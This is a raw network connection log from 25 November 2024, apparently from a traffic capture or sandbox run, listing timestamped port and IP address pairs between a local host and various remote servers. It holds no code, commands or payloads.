Nov 25, 2024 14:14:32.777023077 CET	443	49748	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:32.777092934 CET	443	49748	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:32.777136087 CET	49748	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:32.827337027 CET	443	49745	52.123.243.184	192.168.2.5
Nov 25, 2024 14:14:32.830080032 CET	49745	443	192.168.2.5	52.123.243.184
Nov 25, 2024 14:14:32.831118107 CET	443	49750	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:32.831182003 CET	443	49750	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:32.834170103 CET	49750	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:32.869165897 CET	443	49749	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:32.869311094 CET	443	49749	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:32.869389057 CET	49749	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:32.899144888 CET	49744	443	192.168.2.5	52.123.243.184
Nov 25, 2024 14:14:33.149904966 CET	443	49755	94.245.104.56	192.168.2.5
Nov 25, 2024 14:14:33.193962097 CET	49755	443	192.168.2.5	94.245.104.56
Nov 25, 2024 14:14:33.193980932 CET	443	49755	94.245.104.56	192.168.2.5
Nov 25, 2024 14:14:33.195789099 CET	443	49755	94.245.104.56	192.168.2.5
Nov 25, 2024 14:14:33.195956945 CET	49755	443	192.168.2.5	94.245.104.56
Nov 25, 2024 14:14:33.227266073 CET	49755	443	192.168.2.5	94.245.104.56
Nov 25, 2024 14:14:33.227426052 CET	443	49755	94.245.104.56	192.168.2.5
Nov 25, 2024 14:14:33.228198051 CET	49755	443	192.168.2.5	94.245.104.56
Nov 25, 2024 14:14:33.228216887 CET	443	49755	94.245.104.56	192.168.2.5
Nov 25, 2024 14:14:33.251629114 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:33.254290104 CET	49750	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:33.254311085 CET	443	49750	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:33.254312038 CET	49747	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:33.254317045 CET	49750	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:33.254323006 CET	443	49750	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:33.254340887 CET	443	49747	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:33.254385948 CET	49747	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:33.254394054 CET	443	49747	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:33.254442930 CET	49746	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:33.254442930 CET	49746	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:33.254471064 CET	443	49746	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:33.254483938 CET	443	49746	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:33.256441116 CET	49749	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:33.256462097 CET	443	49749	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:33.256491899 CET	49749	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:33.256498098 CET	443	49749	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:33.257157087 CET	49748	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:33.257163048 CET	443	49748	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:33.257174969 CET	49748	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:33.257179022 CET	443	49748	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:33.284637928 CET	49764	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:33.284672022 CET	443	49764	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:33.284831047 CET	49764	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:33.287923098 CET	49765	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:33.287966013 CET	443	49765	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:33.288103104 CET	49765	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:33.290891886 CET	49766	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:33.290920019 CET	443	49766	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:33.291100979 CET	49766	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:33.292011023 CET	49764	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:33.292026997 CET	443	49764	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:33.293128967 CET	49767	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:33.293153048 CET	443	49767	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:33.293291092 CET	49767	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:33.293481112 CET	49767	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:33.293493986 CET	443	49767	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:33.299567938 CET	49765	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:33.299593925 CET	443	49765	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:33.306353092 CET	49755	443	192.168.2.5	94.245.104.56
Nov 25, 2024 14:14:33.309864998 CET	49766	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:33.309880972 CET	443	49766	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:33.315871000 CET	49768	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:33.315907955 CET	443	49768	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:33.316086054 CET	49768	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:33.316242933 CET	49768	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:33.316262007 CET	443	49768	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:33.372590065 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:33.502466917 CET	49771	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:33.502548933 CET	443	49771	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:33.502895117 CET	49771	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:33.504313946 CET	49771	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:33.504328012 CET	443	49771	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:33.534177065 CET	443	49745	52.123.243.184	192.168.2.5
Nov 25, 2024 14:14:33.534209967 CET	443	49745	52.123.243.184	192.168.2.5
Nov 25, 2024 14:14:33.534281015 CET	49745	443	192.168.2.5	52.123.243.184
Nov 25, 2024 14:14:33.534301996 CET	443	49745	52.123.243.184	192.168.2.5
Nov 25, 2024 14:14:33.654375076 CET	443	49745	52.123.243.184	192.168.2.5
Nov 25, 2024 14:14:33.654432058 CET	443	49745	52.123.243.184	192.168.2.5
Nov 25, 2024 14:14:33.654524088 CET	49745	443	192.168.2.5	52.123.243.184
Nov 25, 2024 14:14:33.654581070 CET	443	49745	52.123.243.184	192.168.2.5
Nov 25, 2024 14:14:33.654614925 CET	49745	443	192.168.2.5	52.123.243.184
Nov 25, 2024 14:14:33.654637098 CET	49745	443	192.168.2.5	52.123.243.184
Nov 25, 2024 14:14:33.659193993 CET	443	49755	94.245.104.56	192.168.2.5
Nov 25, 2024 14:14:33.659302950 CET	443	49755	94.245.104.56	192.168.2.5
Nov 25, 2024 14:14:33.659374952 CET	49755	443	192.168.2.5	94.245.104.56
Nov 25, 2024 14:14:33.661247015 CET	49755	443	192.168.2.5	94.245.104.56
Nov 25, 2024 14:14:33.661247015 CET	49755	443	192.168.2.5	94.245.104.56
Nov 25, 2024 14:14:33.661264896 CET	443	49755	94.245.104.56	192.168.2.5
Nov 25, 2024 14:14:33.661315918 CET	49755	443	192.168.2.5	94.245.104.56
Nov 25, 2024 14:14:33.713197947 CET	443	49757	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:33.713274956 CET	49757	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:33.765986919 CET	443	49745	52.123.243.184	192.168.2.5
Nov 25, 2024 14:14:33.766004086 CET	443	49745	52.123.243.184	192.168.2.5
Nov 25, 2024 14:14:33.766048908 CET	443	49745	52.123.243.184	192.168.2.5
Nov 25, 2024 14:14:33.766063929 CET	443	49745	52.123.243.184	192.168.2.5
Nov 25, 2024 14:14:33.766074896 CET	49745	443	192.168.2.5	52.123.243.184
Nov 25, 2024 14:14:33.766104937 CET	443	49745	52.123.243.184	192.168.2.5
Nov 25, 2024 14:14:33.766134977 CET	49745	443	192.168.2.5	52.123.243.184
Nov 25, 2024 14:14:33.766160011 CET	49745	443	192.168.2.5	52.123.243.184
Nov 25, 2024 14:14:33.771759033 CET	49757	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:33.771780968 CET	443	49757	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:33.772082090 CET	443	49757	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:33.773931980 CET	49757	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:33.773961067 CET	49757	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:33.774002075 CET	443	49757	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:33.812093019 CET	443	49745	52.123.243.184	192.168.2.5
Nov 25, 2024 14:14:33.812122107 CET	443	49745	52.123.243.184	192.168.2.5
Nov 25, 2024 14:14:33.812148094 CET	443	49745	52.123.243.184	192.168.2.5
Nov 25, 2024 14:14:33.812185049 CET	49745	443	192.168.2.5	52.123.243.184
Nov 25, 2024 14:14:33.812202930 CET	443	49745	52.123.243.184	192.168.2.5
Nov 25, 2024 14:14:33.812236071 CET	49745	443	192.168.2.5	52.123.243.184
Nov 25, 2024 14:14:33.812268972 CET	49745	443	192.168.2.5	52.123.243.184
Nov 25, 2024 14:14:33.922193050 CET	443	49745	52.123.243.184	192.168.2.5
Nov 25, 2024 14:14:33.922249079 CET	443	49745	52.123.243.184	192.168.2.5
Nov 25, 2024 14:14:33.922271013 CET	49745	443	192.168.2.5	52.123.243.184
Nov 25, 2024 14:14:33.922281027 CET	443	49745	52.123.243.184	192.168.2.5
Nov 25, 2024 14:14:33.922322035 CET	49745	443	192.168.2.5	52.123.243.184
Nov 25, 2024 14:14:33.922637939 CET	49745	443	192.168.2.5	52.123.243.184
Nov 25, 2024 14:14:33.922677994 CET	443	49745	52.123.243.184	192.168.2.5
Nov 25, 2024 14:14:33.922739029 CET	49745	443	192.168.2.5	52.123.243.184
Nov 25, 2024 14:14:34.407731056 CET	443	49757	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:34.408061981 CET	443	49757	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:34.408271074 CET	49757	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:34.413552046 CET	49757	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:34.413575888 CET	443	49757	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:34.413590908 CET	49757	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:34.413597107 CET	443	49757	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:34.566847086 CET	49776	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:34.566890955 CET	443	49776	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:34.566979885 CET	49776	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:34.567433119 CET	49776	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:34.567451000 CET	443	49776	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:34.586374044 CET	49777	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:34.586493969 CET	443	49777	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:34.586596012 CET	49777	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:34.586900949 CET	49777	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:34.586935997 CET	443	49777	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:34.632349968 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:34.632412910 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:34.769469023 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:34.822757006 CET	49778	443	192.168.2.5	172.64.41.3
Nov 25, 2024 14:14:34.822799921 CET	443	49778	172.64.41.3	192.168.2.5
Nov 25, 2024 14:14:34.822875023 CET	49778	443	192.168.2.5	172.64.41.3
Nov 25, 2024 14:14:34.823169947 CET	49778	443	192.168.2.5	172.64.41.3
Nov 25, 2024 14:14:34.823188066 CET	443	49778	172.64.41.3	192.168.2.5
Nov 25, 2024 14:14:34.823760033 CET	49779	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:34.823797941 CET	443	49779	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:34.823888063 CET	49779	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:34.823997974 CET	49779	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:34.824018002 CET	443	49779	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:34.853188992 CET	49780	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:34.853225946 CET	443	49780	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:34.853308916 CET	49780	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:34.853977919 CET	49780	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:34.853988886 CET	443	49780	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:34.893074989 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:35.018110991 CET	443	49767	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:35.018747091 CET	49767	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:35.018768072 CET	443	49767	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:35.019371986 CET	49767	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:35.019377947 CET	443	49767	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:35.074367046 CET	49778	443	192.168.2.5	172.64.41.3
Nov 25, 2024 14:14:35.074525118 CET	49744	443	192.168.2.5	52.123.243.184
Nov 25, 2024 14:14:35.074687958 CET	443	49744	52.123.243.184	192.168.2.5
Nov 25, 2024 14:14:35.074966908 CET	49744	443	192.168.2.5	52.123.243.184
Nov 25, 2024 14:14:35.075455904 CET	49781	443	192.168.2.5	172.64.41.3
Nov 25, 2024 14:14:35.075504065 CET	443	49781	172.64.41.3	192.168.2.5
Nov 25, 2024 14:14:35.075562954 CET	49781	443	192.168.2.5	172.64.41.3
Nov 25, 2024 14:14:35.076589108 CET	49781	443	192.168.2.5	172.64.41.3
Nov 25, 2024 14:14:35.076611996 CET	443	49781	172.64.41.3	192.168.2.5
Nov 25, 2024 14:14:35.076697111 CET	49779	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:35.076802969 CET	49771	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:35.077996016 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:35.078083038 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:35.078212023 CET	49784	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:35.078242064 CET	443	49784	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:35.078263998 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:35.078490973 CET	49784	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:35.079600096 CET	49780	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:35.080280066 CET	49788	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:35.080290079 CET	443	49788	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:35.080734968 CET	49788	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:35.081135035 CET	49784	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:35.081157923 CET	443	49784	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:35.081257105 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:35.081291914 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:35.081621885 CET	49788	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:35.081633091 CET	443	49788	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:35.115335941 CET	443	49778	172.64.41.3	192.168.2.5
Nov 25, 2024 14:14:35.119333029 CET	443	49771	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:35.123342037 CET	443	49780	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:35.123359919 CET	443	49779	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:35.153871059 CET	443	49765	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:35.155152082 CET	49765	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:35.155169010 CET	443	49765	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:35.155906916 CET	49765	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:35.155910969 CET	443	49765	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:35.161648989 CET	443	49766	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:35.162064075 CET	49766	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:35.162095070 CET	443	49766	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:35.162465096 CET	49766	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:35.162470102 CET	443	49766	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:35.179110050 CET	443	49764	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:35.179759026 CET	49764	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:35.179795027 CET	443	49764	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:35.180545092 CET	49764	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:35.180552006 CET	443	49764	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:35.499159098 CET	49789	443	192.168.2.5	172.64.41.3
Nov 25, 2024 14:14:35.499222040 CET	443	49789	172.64.41.3	192.168.2.5
Nov 25, 2024 14:14:35.499330997 CET	49789	443	192.168.2.5	172.64.41.3
Nov 25, 2024 14:14:35.499695063 CET	49789	443	192.168.2.5	172.64.41.3
Nov 25, 2024 14:14:35.499710083 CET	443	49789	172.64.41.3	192.168.2.5
Nov 25, 2024 14:14:35.516591072 CET	49790	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:35.516663074 CET	443	49790	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:35.516729116 CET	49790	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:35.517254114 CET	49790	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:35.517267942 CET	443	49790	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:35.532655954 CET	49791	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:35.532725096 CET	443	49791	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:35.532967091 CET	49791	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:35.533289909 CET	49791	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:35.533309937 CET	443	49791	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:35.698393106 CET	443	49767	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:35.698453903 CET	443	49767	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:35.698561907 CET	49767	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:35.698776007 CET	443	49766	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:35.698777914 CET	49767	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:35.698791981 CET	443	49767	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:35.698803902 CET	49767	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:35.698808908 CET	443	49767	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:35.698832035 CET	443	49766	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:35.698983908 CET	49766	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:35.699079990 CET	443	49764	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:35.699275970 CET	443	49764	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:35.699460983 CET	49764	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:35.699685097 CET	443	49765	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:35.699886084 CET	49766	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:35.699899912 CET	443	49766	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:35.699912071 CET	49766	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:35.699917078 CET	443	49766	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:35.700011015 CET	443	49765	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:35.700217009 CET	49765	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:35.700974941 CET	49765	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:35.700984955 CET	443	49765	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:35.701008081 CET	49765	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:35.701028109 CET	443	49765	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:35.701438904 CET	49764	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:35.701448917 CET	443	49764	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:35.701464891 CET	49764	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:35.701467991 CET	443	49764	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:35.704394102 CET	49792	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:35.704418898 CET	443	49792	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:35.704689026 CET	49792	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:35.706084013 CET	443	49771	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:35.706197023 CET	443	49771	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:35.706259012 CET	49771	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:35.706278086 CET	49771	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:35.708230019 CET	49793	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:35.708266020 CET	443	49793	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:35.708571911 CET	49793	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:35.712457895 CET	49794	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:35.712495089 CET	443	49794	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:35.712656975 CET	49794	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:35.713416100 CET	49795	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:35.713445902 CET	443	49795	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:35.714095116 CET	49795	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:35.715511084 CET	49795	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:35.715534925 CET	443	49795	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:35.715698957 CET	49792	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:35.715724945 CET	443	49792	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:35.717196941 CET	49793	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:35.717217922 CET	443	49793	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:35.720572948 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:35.720666885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:35.729712009 CET	49794	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:35.729765892 CET	443	49794	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:36.062653065 CET	49805	443	192.168.2.5	18.165.220.57
Nov 25, 2024 14:14:36.062661886 CET	443	49805	18.165.220.57	192.168.2.5
Nov 25, 2024 14:14:36.063060045 CET	49805	443	192.168.2.5	18.165.220.57
Nov 25, 2024 14:14:36.063827038 CET	49805	443	192.168.2.5	18.165.220.57
Nov 25, 2024 14:14:36.063834906 CET	443	49805	18.165.220.57	192.168.2.5
Nov 25, 2024 14:14:36.104937077 CET	443	49779	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:36.105041027 CET	49779	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:36.105047941 CET	443	49779	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:36.105134964 CET	49779	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:36.140559912 CET	443	49778	172.64.41.3	192.168.2.5
Nov 25, 2024 14:14:36.140667915 CET	443	49778	172.64.41.3	192.168.2.5
Nov 25, 2024 14:14:36.140707016 CET	49778	443	192.168.2.5	172.64.41.3
Nov 25, 2024 14:14:36.140757084 CET	49778	443	192.168.2.5	172.64.41.3
Nov 25, 2024 14:14:36.161485910 CET	443	49780	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:36.161569118 CET	49780	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:36.296427965 CET	443	49784	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:36.296786070 CET	49784	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:36.296813011 CET	443	49784	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:36.297816038 CET	443	49784	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:36.297878027 CET	49784	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:36.299453020 CET	49784	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:36.299515963 CET	443	49784	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:36.300080061 CET	49784	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:36.300086975 CET	443	49784	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:36.345052004 CET	443	49788	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:36.345464945 CET	49788	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:36.345494986 CET	443	49788	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:36.348851919 CET	443	49788	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:36.348932028 CET	49788	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:36.349968910 CET	49788	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:36.350053072 CET	443	49788	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:36.350171089 CET	49788	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:36.350177050 CET	443	49788	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:36.383027077 CET	443	49781	172.64.41.3	192.168.2.5
Nov 25, 2024 14:14:36.383372068 CET	49781	443	192.168.2.5	172.64.41.3
Nov 25, 2024 14:14:36.383409977 CET	443	49781	172.64.41.3	192.168.2.5
Nov 25, 2024 14:14:36.384558916 CET	443	49781	172.64.41.3	192.168.2.5
Nov 25, 2024 14:14:36.384622097 CET	49781	443	192.168.2.5	172.64.41.3
Nov 25, 2024 14:14:36.385659933 CET	49781	443	192.168.2.5	172.64.41.3
Nov 25, 2024 14:14:36.385731936 CET	443	49781	172.64.41.3	192.168.2.5
Nov 25, 2024 14:14:36.385879040 CET	49781	443	192.168.2.5	172.64.41.3
Nov 25, 2024 14:14:36.413075924 CET	443	49777	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:36.423753023 CET	49777	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:36.423789024 CET	443	49777	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:36.424479008 CET	49777	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:36.424485922 CET	443	49777	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:36.424531937 CET	49777	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:36.424540043 CET	443	49777	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:36.431334972 CET	443	49781	172.64.41.3	192.168.2.5
Nov 25, 2024 14:14:36.452516079 CET	443	49776	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:36.452662945 CET	49776	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:36.463212967 CET	49776	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:36.463238001 CET	443	49776	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:36.463506937 CET	443	49776	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:36.464035034 CET	49776	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:36.464073896 CET	49776	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:36.464103937 CET	443	49776	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:36.497422934 CET	49784	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:36.534163952 CET	49788	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:36.534174919 CET	49781	443	192.168.2.5	172.64.41.3
Nov 25, 2024 14:14:36.534250975 CET	443	49781	172.64.41.3	192.168.2.5
Nov 25, 2024 14:14:36.567235947 CET	49760	80	192.168.2.5	185.215.113.206
